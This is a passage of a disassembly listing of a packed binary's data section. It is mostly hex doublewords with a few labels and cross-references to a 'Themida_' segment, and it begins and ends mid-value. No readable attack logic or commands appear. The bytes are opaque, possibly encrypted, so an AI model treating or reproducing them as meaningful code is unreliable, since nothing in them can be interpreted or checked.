9111B591h, 0A917CE44h dd 1183AAE4h, 8B0F2E74h, 0A4877AD3h, 757A5C36h, 0CD11B591h dd 0FCBE3BB8h, 5A00B92Dh, 337F57DBh, 1BA2EFFh, 0B591442Bh dd 8224FE11h, 7A3072E8h, 0CD048ADBh, 0F9BD2FDAh, 5A00BF30h dd 3C0957DBh, 0FE11B5F6h, 15BA280Bh, 0B923A051h, 8AED2EBh dd 11B5EE67h, 4D0D8ADBh, 0EEC89709h, 7C7A11B5h, 0F43BB08Ah dd 6DE172D1h, 0C5AB8F21h, 0F80D0FFDh, 49F4E7B6h, 0E2D099C5h dd 0F7296D2Dh, 17FDD9E8h, 0E7D6F15Ah, 8A29BB53h, 8E5BF579h dd 0EF4B6B20h, 0EE6AE929h, 1083C9Ah, 1A870000h, 0AC20E973h dd 50408913h, 0EDDC2DBFh, 8977C25Ah, 0DEE658C4h, 9903C836h dd 3BA15E50h, 0DE4EFDEEh, 7FED980Bh, 313E901Ah, 91180158h dd 0D2C04040h, 675AAF3Dh, 0BD6C40DCh, 3537BB4Eh, 6C32CDC0h dd 5672295h, 9FDF6EAFh, 0F0C34E39h, 2961F20Fh, 6FFD9200h dd 0FAE1766Dh, 0BE49BC17h, 2E9F4E2Eh, 0A42ACB9Fh, 94CA7F6Dh dd 3FA7FDA8h, 73967965h, 90D9FFh, 5B3B0000h, 479BD362h dd 0EF632896h, 0F95D1EC1h, 1951A20Fh, 0A3D9962Ch, 0E0620Dh dd 2C95DE18h, 0B63C7568h, 0E99407DEh, 4609F8A1h, 39D1120h dd 3C1CC336h, 5CACAC6Eh, 39A7FB78h, 0CAD0382Bh, 1A40FDEFh dd 0EDB15443h, 50C3DA5Ah, 7F5A4F8h, 991D1C42h, 6EA2F20Bh dd 3250A748h, 44CA1B65h, 0FD6F1A8Dh, 580EB92Ch, 0B4271281h dd 27A45509h, 0F90C4403h, 0AC30CB3Eh, 8BDF6A5Dh, 6708F6A7h dd 857E4360h, 0BCE26F92h, 31F39BDh, 61000000h, 0D3C0716Fh dd 1C8F663Ch, 73643D61h, 0C5378ED4h, 1D8B6238h, 6D5B3268h dd 0BC2B82D8h, 0CFC5509h, 5A4E277Bh, 8176FDA1h, 4ECh, 241C8900h dd 0C381E389h, 4, 8704EB83h, 515C241Ch, 0C181E189h, 4 dd 4E981h, 0C870000h, 0C895C24h, 0E6895624h, 4C681h, 0EE830000h dd 24348704h, 242C895Ch, 4BC42B68h, 240C8B06h, 4C481h dd 8B540000h, 0C481242Ch, 4, 52CA8952h, 5A08458Fh, 5D2434FFh dd 4C481h, 0C8B0000h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h dd 0B4E3E95Ch, 0B863FFF9h, 64BC874h, 0E0FFC503h, 5A164CE2h dd 7AD8C758h, 14A21756h, 404F6A11h, 6B2D62AEh, 47325DDEh dd 58C82132h, 2E2E42CDh, 2BCC7BFBh, 5CFC9CD6h, 10FE0AF1h dd 20F9D9B5h, 37F287BFh, 4E0E1F7h, 63DAD46Ah, 7E54A196h dd 0DE8h, 0AFD51D00h, 60C12CECh, 0F6493810h, 54B43092h dd 87C2815Ah, 60000059h, 0DA8052F5h, 0B9615AE0h, 1636h dd 32FF1CB4h, 0EEB8166h, 0C6815E7Eh, 7C92D7A8h, 0DE9h dd 325E0C00h, 0DD7FCA4Dh, 45A8C02Ch, 0C6813DC4h, 5E6EC6F7h dd 7E9h, 0E6505D00h, 87ED7281h, 63DDC681h, 13E95F80h, 95000000h dd 5DB84289h, 11F9A9EEh, 87E9FDCFh, 0F6E92A71h, 3289BC72h dd 7E9h, 5B27800h, 544DECBEh, 5877EA81h, 0DE923C7h, 90000000h dd 277CFB03h, 2A6553B1h, 637CD785h, 5873C281h, 666023C7h dd 0F9A020BBh, 850F4961h, 0FFFFFF76h, 14CEBF66h, 8E8h dd 80491A00h, 24384504h, 6E95940h, 50000000h, 330FED8Ah dd 0D5C181BEh, 60000067h, 0D8816660h, 66613C3Fh, 0BB61F88Bh dd 19D0h, 850F60h, 61000000h, 8C0F018Bh, 5, 0F78B6651h dd 9C0815Eh, 803D5AE3h, 0E88139EEh, 4D48BA0Eh, 0C4C081FCh dd 8900A467h, 47CE8101h, 83381196h, 83F804E9h, 850F01EBh dd 14h, 2A9C681h, 23E9216Eh, 0D5000000h, 19A82460h, 0A37D43ABh dd 0E9F78B66h, 0FFFFFFACh, 2C7A55Fh, 8AA1622Fh, 0C9628704h dd 65234E89h, 0BE875FAh, 0D4000000h, 97AD692h, 1EE65CFh dd 20BA4698h, 5F546F5Ch, 81F38B66h, 68EBC7h, 69CAB800h dd 0F0811B6Eh, 1B6E7032h, 5E9h, 8881DC00h, 37FFA4C1h, 5BC9B70Fh dd 95C1F681h, 0C38139CEh, 13CA9A59h, 8E8h, 198F7C00h, 0DC76D9B0h dd 5EF8570Fh, 5AEB8159h, 0E95C36FEh, 14h, 0B9068386h, 62A959EFh dd 9C76994Bh, 0A394FEE4h, 0AC0BDE99h, 0F9FEF381h, 880F7E5Fh dd 3, 53F08B66h, 0F7816660h, 820F94E0h, 0 dd 66078F61h, 0D032DA81h, 0A8BCEF81h, 14E94993h, 0F2000000h dd 0B239C21Ah, 0DF3F6BDCh, 0F4CED3C5h, 9416EA5Eh, 81D562DBh dd 93A8B8C7h, 90BA6649h, 1E881FAh, 0F000000h, 1885h, 40E900h dd 0C4D90000h, 498C27D1h, 0EEA11E32h, 7663CC5h, 7CE55A36h dd 11E9E9h, 5B370000h, 15375636h, 0D64B21A7h, 0C951B001h dd 0E997DC9Eh, 0FFFFFF32h, 0D500A5Ah, 0CF386657h, 3186FD1Ah dd 89CE0EB3h, 0C08B3915h, 30A1BD83h, 75000645h, 0BDBD8309h dd 64504h, 53501974h, 21B8C08Bh, 89000004h, 4512FD85h dd 6C9D8D06h, 0FF0647B5h, 83585BD3h, 4504BDBDh, 17740006h dd 21B85350h, 89000004h, 4512FD85h, 5B9D8D06h, 0FF0647B2h dd 8B585BD3h, 99D8BC0h, 0C6064522h, 45182985h, 52685606h dd 0FF9CA8B8h, 4509D5B5h, 0B6858D06h, 0FF064878h, 68046AD0h dd 1000h, 1891B5FFh, 6A0645h, 0C085D0FFh, 0D850Fh, 0B80000h dd 8D000000h, 4572148Dh, 8BE1FF06h, 3C38BC8h, 0F8053C40h dd 8B000000h, 0D3030C50h, 0B3DBD83h, 0F000645h, 0E84h dd 3D9D8B00h, 8B06450Bh, 45221985h, 51038906h, 87858D52h dd 0FF064542h, 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h, 45182985h dd 39685606h, 0FFD41F6Dh, 4509D5B5h, 0B6858D06h, 0FF064878h dd 800068D0h, 6A0000h, 8BD0FF52h, 0A1BD83C0h, 64530h, 0BD830975h dd 64504BDh, 50197400h, 0B8C08B53h, 421h, 2C418589h, 9D8D0645h dd 647B5D3h, 585BD3FFh, 4BDBD83h, 74000645h, 0B8535017h dd 421h, 2C418589h, 9D8D0645h, 647B274h, 585BD3FFh, 9D8DC08Bh dd 6450B3Dh, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h dd 0ED550000h, 7A5E75FDh, 69A476F6h, 49BC56E6h, 207BC5FDh dd 20553BFDh, 204278FDh, 20D7DEFDh, 2012C8FDh, 20F0A6FDh dd 20818FFDh, 20386CFDh, 20645BFDh, 204A86FDh, 20425FFDh dd 20C9B0FDh, 20131DFDh, 20F1F2FDh, 2080DFFDh, 20279BFDh dd 207BEFFDh, 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh dd 7A5A5CF4h, 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh dd 7BF374F5h, 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 45F476FDh dd 3A9C75A7h, 7ACB75A7h, 7BE475FDh, 7BF374FCh, 0B29074FCh dd 1ABC75F8h, 0AB79F070h, 0FFA673B6h, 7CDCB8A3h, 0ABF6F070h dd 0FF6C73B6h, 7CB9B8E3h, 0AB02F070h, 0FF3573B6h, 7C15B8A7h dd 0AAF4F070h, 0FF1E73B6h, 7C80B8DFh, 0AA7FF070h, 0FF7B73B6h dd 7C32B8DBh, 0B584F070h, 0FFD773B6h, 7C64B8D7h, 0B5DDF070h dd 0FF4273B6h, 7CAEB8D3h, 0B592F070h, 0FFF073B6h, 7CF7B8CFh dd 0B5E5F070h, 0FFA673B6h, 7CDCB8C3h, 0B54CF070h, 0FF6C73B6h dd 7CB9B8CBh, 0B5DFF070h, 0FF3573B6h, 7C15B8C7h, 0B594F070h dd 0FF1E73B6h, 7C80B8C3h, 0B510F070h, 0FF7B73B6h, 7C32B8B3h dd 0AAA8F070h, 0FFD773B6h, 7C64B8AFh, 0AAA0F070h, 0FF4273B6h dd 7CAEB8ABh, 0AA72F070h, 0FFF073B6h, 7CF7B8BFh, 0AAE9F070h dd 0FFA673B6h, 7CDCB8BBh, 0AB99F070h, 0FF6C73B6h, 7CB9B8B7h dd 623CF076h, 0FF3573B8h, 7C15B86Ah, 5F9AF076h, 0FF1E73B8h dd 7C80B866h, 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 3172DE17h dd 3FD525FBh, 0ECADFDF5h, 22913E30h, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 0B470987Ch, 0FFA073B6h, 7C64B8E0h dd 0B78AC87Dh, 9CF73B6h, 75E4C5B4h, 0BAF9B54Bh, 0EF863589h dd 7CF7B866h, 2B96FEBDh, 7A2F7A45h, 0E1028AFDh, 0F7CD3E30h dd 31286B48h, 0FCC6F8FBh, 7E4B9D50h, 6FCF75FDh, 7A5E7645h dd 0E1BA8AFDh, 0F7913E30h, 31066B48h, 0FCD1F8FBh, 23228A50h dd 0F787BC1Fh, 7CF7B8E0h, 20052DA0h, 92EC2CA3h, 7A97776Dh dd 79C1CD4Dh, 0ED708A57h, 0D1F43E30h, 78079D3Eh, 0C2DA75FDh dd 5954CD9Bh, 0EFD0DE9Bh, 7CDCB86Ah, 9208DE9Bh, 7AE57795h dd 72F3360Bh, 0EF866E88h, 7CF7B86Ah, 7954C54Dh, 0EDBA8AADh dd 20913E30h, 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh dd 7ABE4E15h, 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh dd 0D183FE4Dh, 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h dd 0D049C512h, 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h dd 207975FFh, 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh dd 0BA07F5DFh, 85B5FF4Dh, 313FE268h, 5F1F2FFBh, 71DA51FDh dd 0B9F5133Fh, 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h dd 7AF22D15h, 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h dd 1C9775FCh, 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh dd 7BB69D56h, 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh dd 8CE575FCh, 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh dd 84487DF9h, 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh dd 7C32B866h, 0B7DEC070h, 8A5D73B6h, 0D02C7F51h, 0B700E002h dd 920873B6h, 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h dd 0CA5E75FCh, 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h dd 4BFDCD9Bh, 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h dd 923C2257h, 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h dd 92438A00h, 7A5E7505h, 79252D4Dh, 0FF69B657h, 7C80B8E9h dd 0B7F1C87Dh, 0FF373B6h, 0FCFCF8ECh, 2ABA3E30h, 7A5C6115h dd 781B9DFDh, 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h dd 0F787DF9Ch, 7CF7B8E9h, 0B74AC87Dh, 0F2F73B6h, 0FC12F8F1h dd 2ACD3E30h, 7AE4DE15h, 7E4AB6FDh, 857975FDh, 3171EE68h dd 99C3F8FBh, 0F0293E2Ch, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h dd 0F1A875FDh, 0F9BB5E3Ah, 78357115h, 0EDCB8A3Eh, 0CE293E30h dd 0E96514Ah, 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh dd 0F0E675FDh, 79BEB5FEh, 7825B5F1h, 0EF68B657h, 7C80B86Ah dd 0FAEA917Dh, 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h dd 92ACB7D6h, 0B995FCF9h, 7ACB7345h, 0E1708AFDh, 0F7F43E30h dd 31B40F60h, 39A0F8FBh, 7A4ECD3Eh, 0EFD075FDh, 7CDCB866h dd 0F1CEB57Eh, 0EF1A8935h, 7CB9B86Ah, 0B98E9757h, 8543BE15h dd 7B1DFF02h, 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h dd 0F1A78908h, 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 31FE8617h dd 86EAFCFBh, 0B75DCF7Dh, 75E573B6h, 7AF2EC79h, 7A73CDFDh dd 0E84375FDh, 7C15B866h, 0E5ADFCBDh, 0F1913E30h, 0BD79F835h dd 85E33E2Fh, 313FE26Fh, 3C7FFDFBh, 6D04801Fh, 795E75FDh dd 31E2EA7Fh, 0E01A35FBh, 7C80A746h, 0F3E1B67Eh, 644B22FEh dd 797975FDh, 3171EA77h, 0D3ECF8FBh, 89293E2Fh, 722F2B59h dd 85CB75FDh, 3128EE6Fh, 7E0AF6FBh, 7C718589h, 7ABC7244h dd 4B5A7DFDh, 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h dd 72F275FDh, 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh dd 5B7F44F9h, 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh dd 229C75FDh, 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h dd 3A7867C9h, 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h dd 7A2F7515h, 90162FFDh, 7C80A727h, 0B746CF70h, 0F7973B6h dd 7A71CCF5h, 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 7CDCB85Eh dd 7BD3497Dh, 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh dd 0FB0475FDh, 31FC6617h, 0D925F8FBh, 0F1CD3E30h, 725C7D80h dd 89F275FDh dd 0B8B01459h, 0F7DC75F9h, 3193D640h, 0C3EF46FBh, 7A9775F5h dd 0B9AADF0Eh, 0D958F89Dh, 0FBF43E30h, 7B7874C2h, 0FBB000FCh dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch, 3128D640h dd 7AF3CDFBh, 72C075FDh, 89BC75FDh, 0F19D1457h, 0F7EFFE3Dh dd 315AC578h, 8BD08AFBh, 0AE8CAh, 9DDB0000h, 7CD353B7h dd 4E26AA5Fh, 38E0F5Fh, 0F000000h, 0C781C9B7h, 664Bh, 68D7B70Fh dd 196Ch, 5ED68B66h, 5E8h, 3888300h, 0EEB3D233h, 8137FF5Bh dd 8FA058F3h, 0CA81584Eh, 45D8B249h, 0C4C5F081h, 0D58A0AFCh dd 4E26F081h, 81667912h, 8155EAD9h, 47FC17F0h, 50D98A7Dh dd 78F8AB7h, 1EF83FCh, 193B83BAh, 4F4F4F35h, 0D78BF860h dd 1EE8361h, 10850Fh, 0D38B0000h, 1CE9h, 55890E00h, 0A4EC67A2h dd 0C28139F7h, 361C8FCEh, 0FFFF9CE9h, 66B130FFh db 22h byte_5AB395 db 0CBh, 2Eh, 81h ; DATA XREF: Themida_:00540878o dd 16EBEAh, 4 dup(0) dd 1000000h, 41401h, 0B7064B00h, 665750FEh, 59097CB9h dd 31240489h, 452905BDh, 6A006A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0A40FC355h dd 0C86599A8h, 0F2C2807Ch, 0E65CD181h, 6A5CACh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 21C35343h, 9D010FD6h dd 6451839h, 40858DF9h, 6A064BD5h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 892FC357h dd 4509F985h, 44B35006h, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 6A29C356h dd 6AF900h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 2C35242h, 9646F189h, 8AF1B3AEh, 4995FFEBh, 0FC064517h dd 603E9h, 11E900h, 5AC40000h, 8C75077Bh, 0DB027B37h, 8DE341C0h dd 0E8D86569h, 0 dd 45ED815Dh, 6A064BD5h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 42D5C351h, 451DC80Ch dd 0E5BF6627h, 9E9AFh, 0CE160000h, 99729561h, 6A59A0AFh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0CADFC351h, 0B63056E9h, 175F6818h, 0BF667690h dd 3481D5F9h, 9018FF24h, 57006A76h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0B80495ABh, 51F090BFh dd 958B2689h, 6452611h, 312195FFh, 6A0645h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 4711A1C3h dd 19C04300h, 6D850913h, 8B064520h, 4531419Dh, 28B58D06h dd 0F064BD4h, 6C7D0BFh, 6D676552h, 4830Fh, 0BB660000h dd 0BD89DEE6h, 6450511h, 6F0446C7h, 606C636Eh, 75858960h dd 60064532h, 85896161h, 6450299h, 846C761h, 737361h, 6AF08Ah dd 3CFB70Fh, 45316595h, 28858D06h, 0BA064BD4h, 7B071FEDh dd 50D38B90h, 0AE8h, 0A0DA9A00h, 4E5BAF5Ah, 505F8C9Dh dd 0EE852h, 5A660000h, 451232F5h, 98F245A6h, 0E6C3BF61h dd 60310F5Ah, 5F585A61h, 9BD8B90h, 66064531h, 8252EF81h dd 329995FFh, 0BB660645h, 9D0B5FF9h, 6451E55h, 840FC00Bh dd 37h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch dd 2BC35747h, 989E6DCAh, 0EB07C13Dh, 40FE9h, 8860F00h dd 57000000h, 0CDD8D03h, 685F0645h, 89F9D622h, 81CA8B66h dd 2B0A2404h, 85297606h, 6450235h, 312195FFh, 0C7810645h dd 75C6CC4Ch, 2CC78166h, 28B58DD9h, 6A064BD4h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 917C356h, 451D7D85h, 3106C706h, 6A363438h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 5709C357h, 199D8B42h, 56064518h, 446C759h, 31342D37h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0AAC35343h dd 298D8962h, 81064506h, 6F34E4E3h, 846C724h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 62C35646h dd 6A895Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 38C35545h, 739193CEh, 0B793DE71h, 0CF8B538Ah, 0A5BD315Bh dd 8D06450Ch, 4BD42885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 85C50105h, 498AE438h dd 90FCAB10h, 58B0Fh, 7EB90000h, 504F5E43h, 10E860h, 97210000h dd 0C870B353h, 5374B201h, 0D3AB09FEh, 0B8661414h, 0BE5BBEA1h dd 71B0C95h, 6A9061h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0BAD45EC3h, 0AB7E4356h, 0BD8B9CCEh dd 6451E8Dh, 329995FFh, 6A0645h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0F7FB1C3h, 0C00BD0BFh dd 11840Fh, 0BD8B0000h, 64522F5h, 0E9D78B66h, 240h, 68CE8B66h dd 0B05E5816h, 4FCEB966h, 16240481h, 0F4FA1A9h, 9D01CFBFh dd 645231Dh, 312195FFh, 19BF0645h, 8D48C9E1h, 4BD428B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 8E0F560Ch, 6, 7A58D8Bh, 0C7590645h, 6C694606h dd 53006A65h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 90B89FABh, 95237393h, 6452A1Dh, 6D0446C7h dd 6A636E6Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0DF45C352h, 0ACBBD5CBh, 6674504Ah dd 9890EA81h, 6C0846C7h, 0F737361h, 12E9DEB7h, 92000000h dd 86857365h, 0E1820309h, 1667BC13h, 8740938Fh, 0C46C72Eh dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9C35646h dd 29006A0Ch, 4525798Dh, 0FD950906h, 8D064511h, 4BD42885h dd 0DE906h, 0E3030000h, 0CC89597h, 2864884Eh, 90C55807h dd 60F98B60h, 0C64FF0B9h, 0F525008h, 61585A31h, 0EE85061h dd 0EC000000h, 722EEAC6h, 0CBE05984h, 0A1B185F4h, 0D4D8BFFFh dd 905F4A14h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 2BC35040h, 9D89AD26h, 6450499h, 329995FFh, 6A0645h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0A3D8ACC3h, 5E8h, 0F942D000h, 12E92C04h, 0E1000000h dd 474F19C4h, 3715C77Eh, 4C015A8Ah, 8FA9DC78h, 0C00B5AECh dd 53840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 61EE85C3h, 9DBD33B5h, 0E906452Eh dd 58h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch dd 0ADC35545h, 47429E17h, 6C3EF27Bh, 9ED18166h, 0FA75E969h dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0B116C1C3h, 5E94EECh, 66000000h, 0AE388E3h dd 7214B58Dh, 8B660645h, 0B8CAh, 8B660000h, 6AE6FFCBh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 2984C351h, 66045F96h, 8212E281h, 3BE9C18Bh dd 60000000h, 75BD8Bh, 0EF830645h, 8BC93304h, 8320BBC1h dd 0C783EDB8h, 8BE04h, 0E8D10000h, 0D323D21Bh, 0F4EC233h dd 0FFFFF185h, 78941FFh, 100F981h, 820F0000h, 0FFFFFFD3h dd 0C88BC361h, 7699D8Dh, 34B80645h, 89000014h, 4500F185h dd 0E806h, 5580000h, 0Dh, 34E90389h, 14h, 32Fh dup(0) db 0 byte_5AC7C5 db 3 dup(0) ; DATA XREF: Themida_:0053DF80o dd 0C7h dup(0) db 3 dup(0) byte_5ACAE7 db 0 ; DATA XREF: Themida_:005400FCo dd 112h dup(0) db 3 dup(0) byte_5ACF33 db 0 ; DATA XREF: Themida_:00540514o dd 0 dd 8D000000h, 4BF0898Dh, 4DBD3106h, 89064506h, 452A018Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 8D84663Bh, 0D09950Bh, 85C70645h, 64503D5h dd 661Ch, 2880F60h, 8A000000h, 8D8D89DCh, 61064502h, 95D85C7h dd 645h, 858B0000h, 64504C9h, 0B5FFD98Bh, 64522EDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A2C35646h, 0B7498BAAh dd 0A0EE28BFh, 1195FF51h, 0F06452Ah, 0C8Eh, 6820F00h, 8B000000h dd 451F599Dh, 0FE906h, 0F9700000h, 0B3A6CB3Ah, 0F97D91F5h dd 177E178Dh, 0FF006A79h, 45312195h dword_5ACFFC dd 0EBC08B06h, 26E97A4Ah, 3A57B103h, 7023ABB9h, 38E267D8h ; DATA XREF: Themida_:0053E200o dd 62E760Bh, 35AD707Eh, 70D0031h, 65579227h, 0EC32B726h dd 8CE920C1h, 4DE0CBh, 3F53509h, 7FD754Eh, 2C214ED7h, 4B32C424h dd 1E9D40C9h, 0B59998BAh, 6F4C1E57h, 0E98E7FE5h, 2Ah, 2404C7h dd 0E8000000h, 0 dd 0E9ED815Dh, 8B064BF0h, 89042444h, 4510A185h, 0B806h dd 8D8D0000h, 6454E1Ch, 54B8E1FFh, 0FE000067h, 0B73EFCAh dd 4FF84CA8h, 0B702A8Ah, 0EAD5ABA8h, 0B708275h, 4FF94AA8h dd 0AE5DBA8Ah, 4FF92757h, 0B71F28Ah, 0EAD5ABA8h, 0B764575h dd 4FFE15A8h, 0B76C78Ah, 4FFE97A8h, 0B76B98Ah, 0EAD5ABA8h dd 0D42F2575h, 1361A69Fh, 0A0ACC003h, 90A752E3h, 57E9B72Fh dd 0E438D121h, 0D42F43C1h, 1361A654h, 0A0B4C003h, 90A752E3h dd 57E9B6DEh, 0E434D121h, 0D42F43C1h, 1361A703h, 0A080C003h dd 90A752E3h, 57E9B18Ah, 0E400D121h, 0D42F43C1h, 1361A0ECh dd 0A08CC003h, 90A752E3h, 57E9B107h, 0E41CD121h, 0D42F43C1h dd 1361A066h, 0A098C003h, 90A752E3h, 57E9B085h, 0E414D121h dd 0D42F43C1h, 1361A1F8h, 0A0E0C003h, 90A752E3h, 57E9B003h dd 0E46CD121h, 0B8C343C1h, 152A5012h, 0D24ECEDFh, 0FD4AA86Ch dd 51A2458Ah, 0E4C0D5F2h, 96A40E7Bh, 152AA8EDh, 2429458Ah dd 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh, 0EAD5BA41h dd 0AE63CE75h, 500FE13Ah, 5342848Ch, 0EA2211ABh, 245D55FFh dd 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h dd 0BFEA6603h, 0DB2FEE27h, 13619A69h, 1129475h, 0D4A0D902h dd 0AEA40E44h, 51A1EC79h, 0DC0941AEh, 5EE49522h, 3773BA8Ch dd 732ADF10h, 9028C821h, 0EA2C1F66h, 152BFD5Bh, 9881508Ch dd 1A6C8400h, 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0A4C0D5F2h dd 0DAA40E78h, 68A15CDDh, 0ADE78286h, 152A54A8h, 1430BACCh dd 9E2C11B0h, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 0D4A0D9F9h dd 0AEA40E44h, 949A0D79h, 551A2320h, 8481328Ch, 5DDF6E21h dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h dd 0BA2458Ah, 0E622BE29h, 242943C1h, 1957DFA0h, 515E004Dh dd 532A54A8h, 49E7D775h, 0CDA152EDh, 0FC69CE19h, 0A5B9979Bh dd 0FA31EFE2h, 0D4A0D9F9h, 0AEA40E44h, 949A0D79h, 651A2320h dd 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah dd 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h dd 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh, 51A24586h dd 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h dd 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h, 96AE3801h dd 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h dd 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h, 0D453B28Ah dd 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh, 19577F03h dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h dd 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h dd 0DC088600h, 5EE49522h, 0E173BA8Ch, 9FA7FEF8h, 57E98B4Bh dd 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h, 402A5C6Ah dd 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah dd 152A54AFh, 7417D775h, 452652EDh, 9028C820h, 0EA2C1F66h dd 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh dd 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch dd 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h, 57E75DCFh dd 17868C23h, 0DB2FEF49h, 13619A69h, 0E9C49475h, 0BE4CBD28h dd 7A088600h, 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah dd 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h, 0EA80F8A8h dd 14BA0018h, 0B9E2DFAEh, 0DC088558h, 5EE49532h, 3771BA8Ch dd 73E39410h, 0FB63CF21h, 9C262983h dword_5AD478 dd 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh ; DATA XREF: Themida_:005401A0o dd 0D2262923h, 51A2B9CFh, 0BF8654A8h, 49E7D775h, 0DDA152EDh dd 